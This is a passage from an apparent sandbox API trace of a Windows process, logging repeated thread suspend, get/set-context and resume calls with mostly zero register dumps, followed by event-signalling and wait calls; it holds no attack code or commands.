[141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0130.508] ResumeThread (hThread=0x144) returned 0x1 [0130.508] CloseHandle (hObject=0x144) returned 1 [0130.508] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0130.769] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0130.891] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x148) returned 1 [0130.892] SuspendThread (hThread=0x148) returned 0x0 [0130.892] GetThreadContext (in: hThread=0x148, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f830, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6f3fc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0130.897] ResumeThread (hThread=0x148) returned 0x1 [0130.897] CloseHandle (hObject=0x148) returned 1 [0130.898] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.007] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.117] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0131.117] SuspendThread (hThread=0x144) returned 0x0 [0131.117] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10286, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fb78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f7196c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0131.118] ResumeThread (hThread=0x144) returned 0x1 [0131.118] CloseHandle (hObject=0x144) returned 1 [0131.118] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.230] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.346] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0131.346] SuspendThread (hThread=0x144) returned 0x0 [0131.346] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fba8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd652ba, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0131.347] SetThreadContext (hThread=0x144, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fba0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0131.347] ResumeThread (hThread=0x144) returned 0x1 [0131.347] CloseHandle (hObject=0x144) returned 1 [0131.347] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.465] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.743] SetEvent (hEvent=0xbc) returned 1 [0131.743] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0131.904] SetEvent (hEvent=0xbc) returned 1 [0131.904] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.015] SetEvent (hEvent=0xbc) returned 1 [0132.016] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.135] SetEvent (hEvent=0xbc) returned 1 [0132.136] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.241] SetEvent (hEvent=0xbc) returned 1 [0132.241] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.347] SetEvent (hEvent=0xbc) returned 1 [0132.347] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.451] SetEvent (hEvent=0xbc) returned 1 [0132.451] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.572] SetEvent (hEvent=0xbc) returned 1 [0132.572] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.727] SetEvent (hEvent=0xbc) returned 1 [0132.727] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.848] SetEvent (hEvent=0xbc) returned 1 [0132.848] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0132.958] SetEvent (hEvent=0xbc) returned 1 [0132.958] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0133.090] SetEvent (hEvent=0xbc) returned 1 [0133.090] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0133.202] SetEvent (hEvent=0xbc) returned 1 [0133.202] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0133.308] SetEvent (hEvent=0xbc) returned 1 [0133.308] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0133.436] SetEvent (hEvent=0xbc) returned 1 [0133.437] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0134.260] NtWaitForSingleObject 